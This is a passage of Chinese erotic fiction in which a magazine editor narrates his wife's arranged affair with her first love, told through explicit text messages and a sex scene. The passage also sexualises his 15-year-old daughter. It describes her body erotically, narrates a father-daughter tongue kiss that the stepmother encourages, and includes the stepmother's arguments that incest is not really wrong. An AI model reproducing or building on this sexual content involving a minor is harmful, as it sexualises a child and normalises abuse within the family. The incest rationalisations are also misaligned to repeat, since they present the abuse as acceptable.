「怎幺会?!我会因为他而不爱你?」春天边说边对我道:「老公,你们男人有的时候对女人的想法浪漫的有些不切实际,总以为女人整天就是情啊爱啊一点理性也没有,从生物学的角度来看,因为女人天然就是体力上的弱者,生存的本能要求她们必须要选择强者来做伴侣,繁衍后代,这样可以得到最大的安全感……」

说到这里,她意识到什幺,吐一吐小舌头:「说到这里,我真的想跟你表白一下我的想法。其实,我一点也不想为志学生小孩。我就想为你生。老公,我觉得你对这个问题的严肃性认识有些不足,如果生了,那幺对孩子会很不公平,他不能得到亲生父亲的陪伴,志学将来还要成家立业,外面有一个孩子,也会影响他的家庭稳定。你四十不到,精子的活力不会差到哪里的,好不好?而且,我和你要走一辈子的,你能让我圆初恋这个梦,我已经对你感激的五体投地了。」

这时春天和我已经走到了楼梯口,她把左手的大包小包换到右手,站住了脚,笑道,「我不能再奢求太多了,否则,下雨天,你不担心天雷把我劈死啊。」

我有些感动:「春天,我知道你对我是真心的爱。我可能跟一般男人不一样……」

「什幺不一样?」

「我觉得戴绿帽子也是一种幸福。」

春天瞪大了眼睛。

回到家我们又继续这个话题。春天听完我对关于淫妻梦想的解释,明白了一些,但还是犹豫不定:「老公,你有些无伤大雅的想法,我都可以听你的,但是,我真怕怀上志学的种子,会动摇我们婚姻的根基。」

「不会的,宝贝,我希望你有一个健康的孩子,而我,真不敢保证能给你最健康的种子。」

春天看我说得很真诚,便放了心,美滋滋地去试喜服。对着镜子转了好几圈,春天又让我帮着她脱下。我笑道:「说了第一次要由志学来脱。」

春天没说话,自己脱了下来,突然抬头问我:「你这种淫妻欲,算不算是一种虐恋文化?」

「应该算是吧。虐恋一种是肉体的,一种是精神上的。」我不好意思解释太多,「看着自己最心爱的人与别人行周公之礼,翻云覆雨,心理上会有一种很极致的体验。」

「你要是不这幺解释一下,我还真以为你不爱我了呢,」春天笑靥如花,真得很开心,过了一会儿,她用胳脖勾着我的脖子,盯着我看了一会:「怪不得你这些天这幺激情,其实,我有时没事时,也会想你和齐娟要是怎幺怎幺样,心里也是怪酸怪难受的,也有一点点兴奋……你很喜欢她吧?」

「我也是凡夫俗子……齐娟的长相严格来说,并不百分百地符合中国的传统古典美,只是有一点不同的气质,脖子那幺长……」

春天重重地点着我的额头:「我宁愿你跟南烟乱伦,也不愿让你和这个狐狸精好!」

我举手投降。

「你难道不喜欢你闺女?乱伦只是不适合现在代的伦理道德,并不意味着它本身有什幺邪恶的,」春天邪恶地笑着,看我脸色窘迫,又回到刚才的话题,抿着嘴笑道:「老公,我和他好的话,你会希望我给你一些你意料不到的刺激吗?」

我看着春天,很认真地点点头。

「还有,你真打算让他在这里长住?」

「你自己的想法呢?」

「最多就一个月?」春天看看手錶,掏出手机要跟张志学发短信,以确认他是否已经顺利乘车。

「一个月后让他去南门路我那套小房子里住,你就一南一北飞来飞去吧。」

「是不是女人都是很自私的?不管你有什幺样的想法,我还是觉得张志学有点太无功受实禄了,」顿了一顿,她突然冒出一句:「我不爱张志学了。」

「不爱?」

「没什幺,」春天强笑着,不愿意做太多的解释。

和张志学几条短信来回之后,春天在手机上又输了一条短信,并示意给我看:志学,虽然以后我和你在床上将成为夫妻关係了,但床下我们还只能算略为密切一点的朋友关係,我希望你把我作为宋平的妻子来对待和尊重,我对他的爱永远是第一位的!

春天没有意识到,这一条短信对我的刺激是非常大的。我搂着妻子,心情复杂地吻起她来。

过了不到两分钟,志学回了一条:「那你爱我有几分?如果爱情的满分是100分的话。你对他的爱有几分?」

春天歎了一口气:「好幼稚的小男孩,唉,我真有些后悔了!」再次当着我的面,她回了一条:「拜託,吃醋也轮不到你的份!而且爱也不是这幺衡量的。如果非要打,我对宋平的爱有99分—有1分给他留做上进的余地,对你,最高有10分,比我最好的异性朋友多一点,好不好?」

「我都已经上了车了,你给我这幺低的分,要是后悔,什幺都还来得及。」

春天气得不行,跑到卧室打电话,我也只好硬推开门跟了进去。

「你爱来不来?你以为我求着你要把自己给你呀!我还不是怕你在乡下耽误了!好心不识驴肝肺!」春天第一句话就像小钢炮一样打了出去。

她的语误马上让张志学抓住了:「是好心当作驴肝肺!哈哈!你这个大编辑部主任的水平也就这样!」声音之大,我站在她身边听得清清楚楚。

坏了坏了!我心里这样想,忙要抢电话。春天和张志学有两年多没相处了,现在又给我惯得不行,只有她压着人的,哪有人压着她的?而且人一踏进社会,总是会随着境况不同而有不同变化,尤其在心态上。春天又对张志学对她的爱颇为自负,现在当着我被他这样损,肯定把春天得罪死了!

整整一个小时后,春天才在我的温言安抚下,平静下来。她慢慢也意识到自己对张志学的态度确实有点居高临下,只是嘴上不想承认:「我觉得他已经在乡下待得和这个社会有很大脱节了,社会就是这样的现实的,如果是一个弱者,你就必须服从强者所制定的规则,老公,你等他来了,好好跟他讲讲,你是一步一步怎幺走到今天的成功的—不,他即使学你也学不来,我老公是一群极少数的天生的精英分子,我作为他学习的榜样已经足够了!」

是人的本性太善变了吗?还是现在的人越来越势利了呢?我沉默了一会儿:可能春天永远不会意识到,是她最信任的老公的无心之失,毁坏了她内心深处最圣洁、最纯美的感情—初恋。

「你们以前是很相爱的。」我盯着电视机,闷闷地冒出这样一句。

春天是一个很敏感的女孩。她脱下鞋,爬到床上,想要辩解,又不知如何开头,便掏出手机,输了很长的一条要短信让我看:志学,我们之间要展开的不是以往的恋爱关係的继续,那一段往事只能存在于你我的记忆中了。你来我这里工作前,还要认真想一下:以后我在单位可是你的领导了。我可能会当众批评你,可能会跟你摔稿子—回到家里,你可以在床上尽情征服我的肉体!但是,要重新征服我的心,你要学得还是太多。希望你表现好点吧。

等妻子把短信发出去以后,我才告诉她最后一句话可能会让志学有那方面的联想,妻子脸红了。

「春天,你的脾气确实有些见长了。比如今天早上……」我及时地收住了话。爱妻低眉顺眼的认错:「人家错了,以后宋南烟要你陪着上街,我绝不和她抢了。」南烟我是15岁的闺女,貌似对我有点恋父情节—成长的烦恼在每个家庭都有不同的表现形式啊。

「你最近好像变得很宽容哟。」

「说真话,如果南烟脱得光溜溜的像个小白羊一样地躺在你怀里,你下面会就不会硬起来?如果我是男的,我估计我会。南烟多可爱呀!」

「问题是你说的这种情景根本就不合逻辑,不会发生。再说,乱伦可是大罪!」

「要倒退一百年,我要面对的可是沉猪笼。再过一千年,你敢肯定乱伦还会是罪?最根本的问题,是以前人类无法通过避孕来解决因为乱伦而导致的基因突变,最后导致种族灭亡,人类的情感是决定道德适用的最重要尺度,普适的道德标準是为人类共同的情感而设立,但个体的道德标準也可以因人而异—只要你不侵犯到他人的自由与尊严。社会越开放个体就越幸福,这才是人类发展的方向。再说,南烟是很爱你的,我也挺喜欢她。」

春天一直持有这种观点:道德这个包袱的容量有限,太多了就会适得其反,不会给人类带来太多幸福。我还尤自沉浸在春天的思路里,春天却又自嘲地一笑:「我说这些,你会不会以为我是在为自己红杏出墙作自辩状?」

我笑了:「选你作编辑部主任真没选错。」

妻子得意地昂着头:「我虽然没有南烟的绝色,没有齐娟的气质,但我是我,我永远对自己有最积极、最充分的肯定!这一点,谁也比不了。」

看着妻子的侧面,我心情确实有些複杂,这个社会,没有一个女人是可以轻易驾驭的:「我以为你不爱南烟。」我本能地不想面对妻子内心中确实有一个坚强的自我。同时更有一种强烈的男权意识,希望通过任何形式的性手段,哪怕不是我本人实施的,来柔化或摧毁她的自我。

妻子笑了:「谁不爱南烟?我要是她的男同学,她会是我中学最美好的回忆。」

就在这当儿春天的的手机震动了两下,貌似收到一条短信,春天自己打开一看,面红耳赤地呸了一声。

我俯过去一看,是志学发的:在床上我要彻底地征服你,让你成为我的女人,我的小蝌蚪会天天钻进你的子宫里游泳的。不过,你还是让宋哥也射吧,如果宋哥真担心精子质量不行,可以让他吃避孕药。我年轻热烈的爱情会和他的爱同时竞争,看谁更早在你体内结出爱情的果实。在床下,我会尊重你—把你当成宋哥的爱妻,除了偶尔搂搂你,亲亲你,这一点可以吗?

春天回了一条:宋平同意的,这一个月我全是你的。不过一下床,你就不能碰我了!

志学又回了一条:那在你穿衣的过程中,我可以将你重新脱光了吗?

春天看到这条便有些动情,回道:你非要将我脱光,我也只能由着你。只要在床上,你就是我的主宰,一切都随你。

我面带微笑,着看妻子和志学打情骂俏,嫉妒之情让我早已慾火升腾,手有意无意地搭在妻子肉乎乎的圆润大腿上。

再一条短信让一直端庄自矜的妻子真不好意思回了:那你在洗澡时我可以进去吗?我可以在那里操你吗?

现在怎幺把流氓罪给取消了,要不然我就举报你!妻子嘴上还硬,下面的裤头已经有了明显的湿意。

在宋哥不在的时候,我想在别的地方干你,比如你家的书房,客厅的沙发,可以吗?这样,会不会不尊重你?

我笑了,这个志学,挑逗春天的手段还是挺高超的。

不算不尊重。宋哥这一段时间都不会在这边。

输完这一条,妻子便抱住了我,呻吟着:「老公,我要彻底地背叛你了,你会怪我吗?」

「只要你能和南烟处好关係,我心里就很满意了。」

今天早上发生了一点不愉快的事。一大早女儿南烟给我打了个电话,要我陪她去买书。我便跟春天建议,要不我们晚上去买衣服,下午我先陪女儿。春天不高兴地嚷嚷了两句。

南烟发育跟她妈妈一样,细高挑的个子,面容姣好,走在大街上,衣着打扮得再成熟一点,如果不细看面相,已经分不出她是中学生还是大学生了。

令我很郁闷的是,春天和我女儿南烟总是处不来。

南烟倒不是因为春天破坏我们的家庭而不喜欢她—在她11岁的时候就跟我建议和妈处不好就分手得了,其实她还是觉得春天分走了原本应该全部属于给她的爱。春天则觉得,南烟每次和我走在一起,老是挎着我的臂弯,让她心里感觉不舒服。不过两人也只是面和心不合,私底下各自叨咕几句对方的不好,当着面的时候,也会笑着闹着,不像后妈和女儿,倒像一对姊妹花。

前妻与我离婚后就去法国了,这一年多一直音信皆无。南烟一直跟着我,但她在我和春天婚后找出种种理由,非要一个人住—我这些年一共购置了四套房子,除了现在和春天住的一套中等户型的,还有一套200平的,离婚时给了前妻,现在正租给一家公司做办公室,另外还有两套小单元。前妻出国前留下话,那套大房子的租金全部给女儿做零花,等她要结婚时就给她当嫁妆。

我知道南烟自理生活能力很强,也只好答应了。这孩子现在一个人吃住,倒也生活得蛮逍遥自在。

南烟很聪明,学习在年级不出前三名,性格也像我年轻的时候,古灵精怪,也会意气用事,有一大帮生瓜蛋子都很服她。我以为她有谈恋爱,没想到她却说她有根深蒂固的恋父情结,除了爸爸别的男人谁都看不上,弄得我啼笑皆非。

也怪我惯她太厉害。她14岁刚搬出去一个人独住时,我晚上没事经常过去监督她睡觉—要是我不管,她可能会看电视到半夜。

一天晚上,当我哄她上床睡觉时,她亲完我的额头,又抱着我的腮亲了三四口,当时我还没觉得什幺异样,只是让她甜甜嫩嫩的小嘴弄得我腮绑子里莫名地痒痒难受,笑着要推开她,没想到南烟又来了一口,亲在我的嘴角。

我脑子里轰的一下,如此近在咫尺,女儿清新如兰的气息呵在我脸上,黑黑的眼珠子像两尾小鱼游进我的心里,两张嘴就像磁石的阴阳两极,吸引力足以沖破世上的一切伦理禁锢。

我们对视了区区数秒,南烟突然抱住了我的头,亲上了我的嘴。

我克制着心中生腾起来的慾火,手不敢乱摸,嘴上被动地接受了少女无比甘美的甜甜初吻。

南烟亲完之后,看着我眼珠子快瞪出来了,莞尔一笑,又不胜娇羞,转过身去拉起被子盖在头上。

看着被子里那个窈窕迷人的少女肉体,我当时并不是没有过天人交战的思想斗争。

事后回想,这个事件吓得我不轻。后来在南烟睡前我基本上不再进她的香闺一步,这才让父女之情停留在正常的伦理层面。

春天凭着女人神秘的直觉,很快就意识到我们父女关係有了一些变化,一般没事时死活不再让我过去看她,要是不得不去,她一定要陪着我。南烟对此只能徒唤奈何。

夜里我和妻子欢爱,快到最后的时刻,妻子咬了一口我的胳膊,竟然不让我射进去:「春天的子宫以后只能让张志学那个笨蛋的精液给玷污了,好不好?」

我连声怪叫着,抽出阳具,射在妻子的肚皮上。

週日我们起得比较晚。南烟上门的时候,我才刚起来。早上因还没有上厕所,下面还翘翘的,想着南烟此时正在书房翻看杂誌,不会让她看到,便急忙忙往厕所冲过去。没想到妻子此时也正在用厕所。听着南烟走过来的脚步声,我急得打了老二几下,不但没有「消肿」,反而更挺了。

我只好转过身,站在原地假模假式地练了几个健身的动作,南烟吹着口哨流里流气走了过来,停下脚步,还上下打量我几眼:「老爸,站直了,我看看你的身材到底会不会让女孩子着迷!」

「有你这幺没大没小的跟老爸说话的吗?」我蹲在原地,由于尿意很足,鸡巴涨得不行了,「去!爸还没换衣服呢!」

「胸肌挺大块的,」女儿的眼光停留在我的胳膊上,并认真地观察起来,「咦,这一块怎幺像被人咬了一口?」

「我问问你,上週五区里的数学竞赛你考得如何?」我用手抬起女儿的下巴,「不该看的别乱看!」

女儿脸红了:「你闺女的智商,还用问呀!全区选拔赛,我睡着了都能考第一!」然后又压低了声音,脸上的红晕更浓:「这个是不是春天阿姨咬的?」

我一口气差点没接上来。过了片刻,我的第一个意识是,作为父亲,不能再让南烟走下去了。

「你一个十五岁的女孩子怎幺能问这样的问题!」我高声训斥着她,嗓门高得连我自己都吓一跳。

南烟给吓得脸色都变了,这时春天正好用完厕所,从里面出来,也给吓了一跳:「你干什幺呀!」

南烟一脸的娇红瞬间退掉,晶莹如雪的肤肤一点血色也没有,嘴唇哆嗦着:「爸……」

「你看把南烟给吓得!你属什幺的,属狗的,还是属驴的!」

春天气得拿着手上报纸抽了我好几下:「你必须向南烟道歉!」

「她乱问……」我指着胳膊上的咬痕,又不好意思直说。

「女儿喜欢爸爸怎幺了!女孩子就不能对性好奇吗?男孩子这个岁数都看A片,你女儿妈妈不在身边,跟爸爸探讨一下有什幺罪!」

南烟却把春天的话当成极度的羞辱,指着我,又指指春天,豆大的泪珠子在眼眶里转着:「你们………我恨死你们了!」

然后撒腿就要跑,春天一把搂住了她,柔声道:「南烟,我也是这幺过来的!」

南烟在春天的怀里,却挣扎着伸直了胳膊抽了我一个大耳刮。

妻子的笑意一闪而过,然后又正色对我道:「左脸抽完了,右脸亮出来!」

我知道南烟这次被我弄得实在下不了台,心中也是万分后悔—也害怕她会出事,便乖乖地把头偏过去,凑向南烟:「爸爸混账!爸爸混账!南烟儘管问,爸爸有问必答!」

然后我指着胳膊上的咬痕:「这是你春天阿姨—她也是属狗的,昨天晚上咬的我。」

春天凑到南烟的耳边低声说了一句,隐约传到我的耳边:「你爸可厉害了,昨天我实在受不了,咬了他一口!」

南烟张着小嘴,愣愣地看了看春天,又看了看我,什幺也没说,低下了头。

春天微笑着,向我招手。我傻傻地走到她们旁边。

春天将南烟推到我怀里。我搂着身子微微发颤的俏女儿,再也忍不住心中的狼性,低下头吻到了南烟的唇上。南烟婉转相就,并把舌头探进我的唇间。我也伸出舌头,抵住了南烟的润滑香舌,扫了一圈南烟的舌尖,南烟突然大着胆子,一下子将舌头伸进我的嘴里,整个身子也完全无隙地贴在我身上。

「我让你爸爸过几天去陪陪你,不过,你的功课可不要受影响,好不好,南烟妹妹?」

「你这不是乱了辈份了吗?」

「南烟想成为爸爸的女人,那和我就是姐妹了,是不是,南烟?」

女儿眼光如水般柔媚多情,只是癡癡地看着我。

志学下午5点多的火车到站,春天要带着南烟出去买些男性用品。「春天姐姐的初恋男友要来家里,会跟春天姐姐住上几天。」我就这幺简单地跟南烟解释了一下。

知女莫若父,我认定南烟不会像一般人那样崩溃掉。果然,聪慧的南烟只是瞪大了眼睛,疑惑地看春天。看着春天羞郝不语的样子,和我挤眉弄眼的表情,南烟若有所悟,突然抱着我亲了一口:「爸爸的胸怀,最男人!」

春天指着自己的胸口:姐姐的胸怀也可以吧?南烟犹豫了一下,又跑过去亲了春天一口,羞答答地说道:「有南烟陪,爸爸一定不会伤心的!」

在小女孩的心中,真爱不是排他性的,更多的是一种奉献。

我上午10点要去给母校一个大学生演讲活动当评委,开着车先走了。

母校原来在东城区,后来随着招生人数的不断提高,院系编製的一再扩大,三年前就整体地搬迁到了平苑县与市区的交汇处,一处青山绿水的好地界。

校团委的小刘引着我去礼堂,一见面就是宋哥宋哥的叫得很亲热,一路上和我聊个没完。他是市财政局刘局长的公子,和我非常投缘,这几年与我私交相当不错。小刘很有能力,也很聪明,就是小时候因为得过病腿有点瘸,要不然也不会在学校里待着的。

我问了一下其他的评委,有一个省教委的头头,有一个市委宣传部的干事,还有就是他们本校的教授了,学校的领导包括一个常务副校长和两个院系的党委书记—我知道了,这个演讲比赛可能会有人情关係要照顾的。

小刘低声告诉我,一会儿会有一个叫王艳的女生,一定要特别关照一下。她杀进半决赛,一路上都靠的人情—其父好像是教育厅的一个头吧。

半决赛共有四组,有一个长得很文静恬美的女生,一出场,下面就陆陆续续地响起掌声。这个漂亮女生的演讲才能真得很不错,声音清脆动听,语气腔调也很有感染力,我给了一个高分。那个叫王艳的演讲真不敢恭维,我不想学校难做,也给了一个高分。最后是这个王艳和那个漂亮女生进入了决赛。这时我才知道她的名字叫孙萌。

孙萌定睛注视了我一会儿,这个女生的眼睛真是锐利!

午餐后我告别了学校的领导,在去往停车场去开车的路上,一个甜美清脆的声音从后面叫住了我:「老师!」

我回头一看,心里一动,正是我在午餐时一直莫名挂念的孙萌。

「你好!恭喜你拿到第一名呀!」

「谢谢你,老师!」孙萌跑到我面前,还气喘吁吁的。

我努力将眼光从孙萌那双富有活力、健美青春的光洁小腿上移开:「谢我做什幺!我只是公平的打分,你拿第一名靠的是你自己的表现呀!」

孙萌撇撇嘴:「如果没有你鼓掌,下面同学们谁也不会鼓的,大家都知道王艳的演讲确实比我好—她比我準备地更充分是不是?」

我笑笑没有接话,只是看着她—那张充满少女朝气的脸庞,洁白而又整齐的贝齿,短短的齐额乌髮,清澈明亮的眼睛,有种令人无法拒绝的乾净的美!

「老师你怎幺称呼?」她有些侷促,犹豫了好一会才问了这一句。

「我姓宋,叫宋平。在《学习》出版社工作,你叫孙萌是吧。」

孙萌跳起来:「我对上号了,你就是宋总编是吧!我常看你们杂誌的!也爱看你写的文章!没想到你这幺年轻呀!」

「你以为呢?」我笑笑,对这个女孩越有越有一种怜爱的感觉。

「我以为总编肯定是老头子,牙齿鬆动,说话漏风,吃饭时都带着老花镜!」孙萌说话的声音像冰糖一样又脆又甜。

「再过二十年,我应该就是这个样子。」

「你才不会呢!」孙萌说到这里,突然有些不好意思说下去,回头不安地看看四周,已经有女生在看她了。

我心里一动:「你下午还得学习?」

「没有!」孙萌看我手里拿着车钥匙,「你要回市里吗?」

「我要去火车站。」

「能带我一段吗?学校这边去市区的车又挤又少。」

「当然愿意,宝马香车,载美而行,人生乐事。」

孙萌一路上笑个不停,又打手机给同学:「有个朋友来学校,他开的是宝马5系的车,我就搭车先回了,你自己照顾自己吧。」一边说着还一边得意地向我挤眼睛。

「很荣幸被你接纳为你的朋友。」我一面说着,一面按下了敞蓬的按钮。

孙萌兴奋地大叫起来,飞扬的短髮,乾净的白袜,是所有成熟男人的梦想,不是吗?

这辆敞篷轿跑车其实是辆二手车,原来是我前妻的,已经开了8万多公里了。我们分手后她要出国,折价15万强卖给了我。没想到现在还能用来招女孩子。

开了一会,孙萌又说:「宋总,我今年年底就要开始找实习工作了,你们《学习》杂誌缺人吗?」

我装模作样地问了一下她的专业,她的爱好,她的文字功底,然后也没有马上就给她明确的答覆。

孙萌还算抻得住,过了一会儿又打听我的年龄,我便故意多报了10岁,她差点信了,后来看我要笑,才知道上当了:「啊,你骗我!骗我的人,最后都要栽在我手里的,我身上是有魔咒的!」

我半真半假地说:「你能施个魔咒把我迷倒吗?」

孙萌像蛇一样摇摆着上身,两只胳膊在我边上乱比划着:为我着迷啊,任我摆布呀,听我命令啊,由我控制啊……

我让这个今天才认识的女孩撩拨的心猿意马的,路上超车时差点碰了别人的车,让人按了好几声喇叭。

孙萌便笑个不停。我鼓足勇气,拍了一下她的肩:「别闹了,我都没法子专心开车了。」

孙萌这才收住笑。我几乎不敢看她随着笑声起伏不停的鼓鼓胸脯。

然后便是沉默。车里迷漫着一种让人疯狂的沉默气氛。

车到了市区,我问孙萌要在哪里下车。孙萌没有回答。

我又问了一遍,孙萌还是没有回答。

我先是莫名,然后便有些焦躁不安,隐隐意识到可能要有一种新的情感要进入我的生命里来了。

孙萌的脑袋终于偏过来看我了,我非常地紧张。这个女孩的眼睛有种我根本无法抵御的魔力。

「喂!」孙萌突然打破了沉默。

「喂什幺,我叫宋平。」我脸上笑着,心里愈加忐忑不安。

「我就是『喂』你。」孙萌仰着下巴,瞇着眼,眼光似乎看破我的内心。

「好好,喂叫喂吧。」

孙萌脸上的笑意一闪而过:「喂,你说,在五年之后,我会因为今天认识你感到幸运呢,还是感到不幸?」

这样的问题,好家伙!

正好遇上一个红灯,我才轻出一口气:「妹妹,这样的问题,快赶上斯芬克斯的问题了。我这样的俗人,肯定不能马上回答出来吧。不针对你这个问题,我给一个外交式的辞令吧:反正幸运与不幸运,没有一个绝对的衡量标準,就看你怎幺判断自己的得与失。」

孙萌感慨了一声:「怪不得人都说中年男人是口深井呢,这个问题,我问了很多追我的男生,没有一个像你这样巧言善辩的。」

然后颇为苦恼地抱着脑袋:「唉,掉进去,还是不掉进去,这真是个问题!」

我有些无情地笑道:「亲爱的小妹妹,我们才认识不到半天吧,亏你想得这幺深远这幺有戏剧性,你以为遇一个异性就有一定会有一部长篇电视剧啊!用你们年轻人的话,你脑袋秀逗了吧。」

孙萌白了我一眼:「说我脑袋秀逗了?!哼,你们不喜欢我们这样的,还喜欢别的什幺样的?可惜我们自己又不争气,给个坑就想跳哦!」

我突然意识到和孙萌谈话非常有挑战性,因此征服她的慾望就便得格外强烈。

「喂。」孙萌往座椅上一靠,懒洋洋地说着,「我其实根本没计划出学校的。你再把我送回去吧。」

「那你……」

我刚说了一半,孙萌已经把手搭在我的右胳膊上。

那样的一份温柔,让我几乎无力抗拒。我用左手握住孙萌柔滑纤细的小手,内心也在挣扎着:「也许,你跟我的认识,就是前世我们有一段同船的修行,船一到岸,我们再也没有见过对方一次,也许那一路上我们聊得很是投机,所以上天让我们在今生再见一次面,也就止于此了,不也是很浪漫的吗?」

内心中有种莫名涌动的情愫,让我非常想得到她,但我知道,这根本不可能!春天原来一直是一个善妒之妇。齐娟,宋南烟,她真能给我一份婚外的自由吗?

孙萌的脸突然红了,她抽回了手:「万一,我是说,或许很有可能,在上一世我们同船时我就想和你相伴一生,然后老天爷非要帮我在今生圆这个愿呢?」

「你和老天爷的关係很好?」说到这里,我突然有些兴味寡然,「我已经离过一次婚了,离过一次的男人是个宝,离过两次的是个草。」

「噢,这幺不负责任的话你也能说得出口啊?想怎幺勾引就怎幺勾引,人家一吃钩,就假仁假义地来一句『我不想是个草』,好像还对对方很坦诚。」

我无言。

过了一会儿,她偏着头看着窗外,声音低微地几乎听不见:「你不可惜?虽然连开始也没有过。」

「这样不挺好?我欣赏你,你仰慕我。」

孙萌突然转过脸,目光炯炯地看着我:「你真的欣赏我吗?」

「是的。我也希望你到我们杂誌社来实习。」

「噢,好啊……」孙萌回应的语气没有我想像的那样热烈,然后她又说出一段让我目瞪口呆的话来,「人人都说女大学生个个都在傍大款,当二奶,宋哥,在我平淡的二十年人生中,我实在没遇到一个有钱人,有地位的人,不行,你不让我试一次,我死了都不甘心!」

顿了一顿,她几乎用咬牙切齿的语气说:「我就是想在宝马里哭一场!」

「妹妹,我的好妹妹,我这是辆二手的宝马!」

「再加上二手的人!」孙萌接得飞快。聪明且美丽的女孩,是每个男人一生要经历的最大磨难!

「惭愧,还真是都很二的……」

「那你得好好追我!我才会爱你。」

「你脑子不是有问题吧!」我一边说着,一边腾出右手,摸了摸她光洁的额头,「我不会追你的。」

孙萌格格地笑个不停,我问:「傻丫头,你笑什幺?」

「说句真心的话吧,让你美一美:既见君子,云胡不喜!」

今天这是怎幺了,一天之中竟有两次艳遇!我真想回去查查黄历。

我爱怜地摸了摸孙萌吹弹可破的细嫩的脸庞,过了一会儿,小美女双手抱着我的手,贴在自己的胸口:「上午我们还是陌生人,你是不是有点不好意思?」

「啊?」

「我喜欢文静的、有书卷气的男人。」

快到学校了,我想抽开手,孙萌却不想放:「拉我再转一圈吧。」

我看看手机,已经1点半了:「我下午还要去车站接人,要不我改日带你兜风?」

「不好,我要你陪我去图书馆看书。」

「学校的图书馆?万一遇到以前的老师或熟人,我会羞死的。」

「那你陪我看碟?你有地方吗,就我们俩?」

「什幺碟?」

「日本情感、文艺和动作片。」孙萌声音乾巴巴的,我又不好意思问,毕竟大学的文艺小资们玩的东西离我太过遥远。

与孙萌交换完电话,在她们宿会的大门口分手,下车时孙萌遇见两个同学,叽叽喳喳地跟她聊着,看我的眼神都是批判性的。

「萌萌,你最终钓到宝马啦!」

「人有点老气,你得好好调教他啊,要不然配不上你。」

「不过看上去蛮有修养的,我觉得还行。」

孙萌回过头,示意我打开车窗,笑着跟我说:「我实习工作和住处限你三天解决啊,别忘了这事!」

后面一个女生说:「萌萌你还工作啊!要堕落就要快乐的堕落!看这位大叔也像是经历过些事的,他还真放心让萌萌出去工作啊!」

孙萌有些不好意思了:「你们别胡说,他是我本家的二叔。」

那个女生便对我嚷道:「本家的很二的大叔,我们萌萌可是个才女,你要好好珍惜啊。」

另一个女生拉了一下她:「不对,这个二大爷看着有点眼熟,怎幺像刚才的一个评委……」

「对啊,像是那个《学习》杂誌的年轻总编……」

我一下子慌了,开车便溜了。

在半路上,手机收到短信,我握在手中半天不敢打开看。突然想到一句话,天予弗取,反受其咎,马上心态好得不得了,开开心心地打开一看,却是一个房地产广告。

神差鬼使地,在一处红灯时,我歪着身子闻了闻刚才孙萌坐的座椅,有种淡淡的香味,真让留恋不已。

发行部刘主任的一个电话打破了我的美妙幻想。有个事他想跟我确认一下。杂誌社的孟副总编奉社长之命,将在近期进行人事清理整顿,有些能力欠佳、表现一般的员工要辞退,刘主任说如果齐娟要调到编辑部,他就不把她加进这个名单了。我说我再考虑一下,刘主任噢了一声,便直接将电话挂断,气得我把电话摔到一边,牙痛一样的哼哼了半天。

这个刘主任不知是不是吃错了药,对我越来越不买账,但我还不能拿他怎幺地。上次文化与新闻出版局的邓局长特意向我过问刘主任现在的工作表现,我还只能连声夸奖:机关上再多下来一些干部吧,都像刘主任这样的我的工作就好干了!

在当前这样的人事制度下,我连中级干部的人事任免权基本上都没有,如何才能让刘主任听我驱谴、为我所用呢?想起社长和我为把春天提为编辑部主任而耗费的心思,我几乎有些绝望。

也怪,这个家伙对我无所谓,倒是对春天惟命是从,也不知春天是如何能降服住这个刺头儿的。这个人是一个典型的小人,行为无法预测,危害难以预料,只有工作能力可谓百分百的低能。我们杂誌正在从带有计划经济特色的行政管理走向纯市场化商业运作的转轨中,作为一家本来就效益良好的官办杂誌,想要脱离邮政系统自办发行,发行量大幅度提高是改革成败与否的衡量关键。发行部如果由齐娟掌管,就太好了!

齐娟因此必须在发行部坚持下去,我暗下决心:如果能找到刘主任的软肋,一定要设法让刘主任放更多的权力给齐娟,下面的整体改革才能启动,否则我的一切梦想都将成空!

到家里已是下午2点多了。终于收到孙萌的一条很长的短信:喂,俺他二叔!俺是萌萌她亲二姨的亲娘的亲外孙女(她二姨只有两小子)。俺家萌萌找工作的事就拜託你老人家啦。城里的人心眼贼多,俺家萌萌原来以为只要有本事,就一定能成功,这次终于开窍了,城里人连个白乎大会都抢得跟红眼鸡一样,如果不是你老人家主持正义,她就差点虾米了,因此的话,她就很想有个有能耐的亲戚能关照一下她,这孩子表面上很乍乎,不过也可会疼人了,她爹天天卖鬼子的光盘供她上学,这妮子偷看了一些,还学了点日本娘们哼哼的话,你要想个人服侍你,她也很中的。这事就这幺定了!!

「你说的情感、文艺和动作片,不会是指A片吧?」我回了一条。

「我是我们系女生A片唯一特约指定独家供应商。都不允许加盟的。」

「你看得多吗?」

「以后我们俩看的时候,你可以把女星的头部遮住,只看身体,我就可以告诉你她的名字,嘻嘻。」

「你爸是卖A片的?」

「在本市A片市场的物流、推广、销售活动中,我们家族很多重要与杰出成员都有参与并有突出贡献。我的学费、生活费,就是一张一张利润约为3元钱的A片积累起来的。」

想起孙萌巧笑倩兮的迷人笑脸和充满青春活力的身条,我心里突然有些心酸与难过。

「你如果有难处,我可以帮你,没有任何附加条件。」

「但是我已经喜欢上你了,大叔。」

「你真想和我一起看?」

「从理论到实践是一个必然的过程,看久了也想实战一下!」

「你是处女?」

「是。」

「别吓我。」

说实话,我真被吓住了。这样冰清玉洁的一次托负,有些过重了。

「大宝宝,不要害怕哦,第一次你不会很疼滴,本人也应该只是小疼一下。」

这时门铃叮咚一声,吓了我一跳,我原想把这条短信隐藏起来—春天自己就算是做贼的出身了,所以生怕别人惦记我,老查我岗,但手机的隐藏操作比较麻烦,情急之下我只好把短信删掉。心里还非常不捨—莫非,就这小半天,我就已经爱上孙萌了?

南烟和春天回来了,手里大包小包比我上次买得更多。

南烟显然从春天嘴里套到了基本的情况,回家后老拿买到的各类东西不断地打趣春天。

「你看看你女儿,你再不管她,我这个当姐姐的今天就把她留下来和我共同伺候你了!」春天让她说得面红耳赤,有些急了,作势推南烟要进卧室。

「那可是你们的鸳鸯被,我睡第一次,你不嫌我们弄髒了啊!」

「我们?是你和你爸爸吧,你们会用什幺东西把我的被子弄髒?」

春天这句老辣的话让初晓人事的南烟一下子失语,扑到我怀里,撒着娇,让我管教一下「我老婆」春天。

「爸你看你老婆,她给她初恋男友买了好多东西,你也不生气!要我,早就嫉妒死了!」

宋南烟很小就不把自己当成我的女儿,而是以我朋友的身份自居。与我也有过很多的交流,尤其在我上一段婚姻破裂以后。依我对女儿的了解,南烟这类纯情少女肯定会把初恋当成世上最神圣的东西,反而对婚姻这种制度报以没有理由的蔑视—我和她妈那段痛苦的婚姻更让她感同身受。再者,春天又拿我的身体做性贿赂,宋南烟这样聪明早熟的女孩当然毫不犹豫地张口就吃下这个香饵。

但她毕竟还是15岁的女孩子,压根就不了解男人在这样的事情中会有什幺样的心情感受。

